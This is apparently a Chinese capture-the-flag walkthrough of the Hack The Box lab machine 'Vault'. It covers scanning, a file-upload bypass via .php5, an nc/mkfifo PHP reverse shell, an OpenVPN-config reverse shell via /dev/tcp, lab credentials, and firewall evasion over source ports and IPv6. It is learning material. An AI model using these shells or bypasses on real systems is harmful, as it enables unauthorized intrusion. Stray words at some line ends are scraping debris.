本文做者:是大方子(Ms08067实验室核心成员)
php
Kali: 10.10.14.213
靶机地址:10.10.10.109html
先用nmap探测靶机git
nmap -sC -sT -sV 10.10.10.109
扫描结果以下:github
看看80端口有什么东西web
咱们用gobuster进行探测下sql
gobuster -u http://10.10.10.109 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php -o gobuster-sparklays -t 100
扫了好久没有扫出什么东西shell
后来注意到这句话
We are proud to announce our first client: Sparklays (Sparklays.com still under construction)ubuntu
尝试在Url后面加上/sparklay安全
~# gobuster -u http://10.10.10.109/sparklays -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php -t 100 -o gobuster-sparklays
咱们打开login.phpbash
打开下admin.php
尝试过绕过以及常见账户密码
奇怪的是发现提交的账户密码居然是用GET方式,以为很奇怪试着拦截登录的数据包并放到sqlmap跑跑看,发现并无注入点
sqlmap -r sparklays-admin-login.req --batch
咱们在打开design
是Forbidden,那么这个目录下咱们在gobuster下
gobuster -u http://10.10.10.109/sparklays/design -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php -t 100 -o gobuster-sparklays-design
打开upload.php
打开design.html看看
点【Change Logo】
咱们写一个反弹的shell进行上传
<?php system('r, /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.213 1337 >/tmp/f'); ?>
被拒绝上传了
咱们来FUZZ下运行上传的后缀名看看能不能经过后缀名进行绕过
这里我用到这个字典: https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/web-extensions.txt
这里我用burp的intruder模块进行fuzz
发现php5是上传成功的,咱们把shell改为shell.php5再次上传
而后咱们kali 开启监听1337端口
咱们在访问
http://10.10.10.109/sparklays/design/uploads/shell.php5
而后就会获得一个shell
发现有2个用户
我在dave的Desktop目录下面看到一个ssh文件
Cat下获得一下内容
dave:Dav3therav3123
那么咱们经过ssh链接到靶机上
咱们在看看dave桌面上的其余文件
第一个key还不知道是什么意思就先留着。
第二个Servers应该是对应服务器的IP以及该服务器是什么
咱们如今对DNS服务器进行扫描看看,可是靶机上面没有nmap 可是咱们能够用nc看成端口扫描器
咱们能够看到192.168.122.4开放了22和80端口。因为是内网的环境咱们是没法访问到192.168.122.4的,因此咱们须要作一个隧道把192.168.122.4的80端口映射到咱们本地的1234端口
ssh -L 1234:192.168.122.4:80 dave@10.10.10.109
点击【Click here to modify your DNS Settings】
发现是Not Found
点击【Click here to test your *** Configuration】
打开后是一个***配置信息,并容许咱们测试咱们的***
这里我找一遍关于如何用o***配置文件反弹shell的教程
https://medium.com/tenable-techblog/reverse-shell-from-an-open***-configuration-file-73fd8b1d38da
咱们找下靶机的内网IP地址
让靶机监听9002端口
remote 192.168.122.1 nobind dev tun script-security 2 up "/bin/bash -c '/bin/bash -i > /dev/tcp/192.168.122.1/9002 0<&1 2>&1&'"
先点【Update file】而后再点【Test ***】
就会获得一个shell
获得userflag
接下来是获取root flag
咱们在dave的目录里面找到一个ssh凭借
dave:dav3gerous567
咱们直接经过ssh链接DNS服务器
咱们尝试sudo -i切换为root,
可是目录里面没有咱们想要的rootflag
以前咱们注意到在dave的机器上有三台服务器,可是最后的The vault 是没有给出IP地址的,root flag可能就在那台机器上,因此咱们须要去找线索
咱们在DNS的hosts文件中找到了The vault的IP地址
可是DNS服务器是没法ping通的
可是DNS确实存在192.168.5.2的路由,猜想应该是禁止ping
后来发现DNS存在nmap 咱们用nmap来进行端口探测
-Pn:表示默认主机在线,跳过主机发现
-v:显示详细信息
-n:不进行DNS解析
发现2个端口都被closed,多是真的关闭,可是也有多是防火墙的缘由
咱们尝试使用nmap 的 –source-port参数
每一个TCP数据包带有源端口号。默认状况下Nmap会随机选择一个可用的传出源端口来探测目标。该–source-port选项将强制Nmap使用指定的端口做为源端口。这种技术是利用了防火墙盲目地接受基于特定端口号的传入流量的弱点。端口21(FTP),端口53(DNS)和67(DHCP)是这种扫描类型的常见端口。
发现一个987端口,咱们用nc从本地的53端口进行链接
是openssh服务
对于这种防火墙咱们能够尝试使用IPV6的规则绕过
先查看DNS服务器是否支持IPV6
FF02::1指全部开启了IPv6组播的主机,和IGMP中的224.0.0.1对应
说明DNS服务器支持IPV6
咱们在查找下DNS服务器的的邻居
再看下DNS的路由和ip信息
咱们能够看到192.168.5.0/24的流量都要经过ens3到192.168.122.5去
在192.168.155.5是防火墙的地址
咱们在看DNS的邻居,发现还有3条IPV6,说明vault的IPV6应该在里面
咱们在查看arp
192.168.122.5对应的ipv6是fe80::5054:ff:fe3a:3bd5
下面这2条ipv6的地址就是 valut和firewall的
fe80::5054:ff:fec6:7066
fe80::5054:ff:fee1:7441
咱们直接用nmap进行端口扫描,若是防火墙没有配置ipv6的规则的话如是valut的地址就会出现以前的987端口
这样咱们就肯定了fe80::5054:ff:fec6:7066是vault的IPV6地址,而且防火墙规则并无阻拦ipv6的地址,同时咱们的DNS服务器能够直接经过ipv6绕过防火墙跟vault进行通信
那么咱们直接ssh进行链接
密码跟以前的同样:dav3gerous567
咱们能够看到这个pgp的ID为D1EB1F03
咱们看下vault系统是否存在密钥,不存在
可是咱们在dave@ubuntu上找到了
因此咱们须要把文件发送到dave@ubuntu进行解密
咱们退回到dave@DNS上,利用scp将文件拷贝出来
scp -P 987 dave@[fe80::5054:ff:fec6:7066%ens3]:root* .
输入密码:dav3gerous567
而后咱们须要在把这个文件传送到dave@ubuntu上面
咱们在ubuntu上面执行
而后在DNS上把文件传输过来
这样文件就到了Ubuntu上面了
咱们用md5sum来校验下文件的完整性
文件正常传输的
咱们用gpg 解密下root.txt.gpg
要求咱们输入密码
密码就是咱们以前找到的key
获得root flag
转载请联系做者并注明出处!
Ms08067安全实验室专一于网络安全知识的普及和培训。团队已出版《Web安全***:***测试实战指南》,《内网安全***:***测试实战指南》,《Python安全***:***测试实战指南》,《Java代码安全审计(入门篇)》等书籍。团队按期分享关于CTF靶场、内网***、APT方面技术干货,从零开始、以实战落地为主官方网站:https://www.ms08067.com/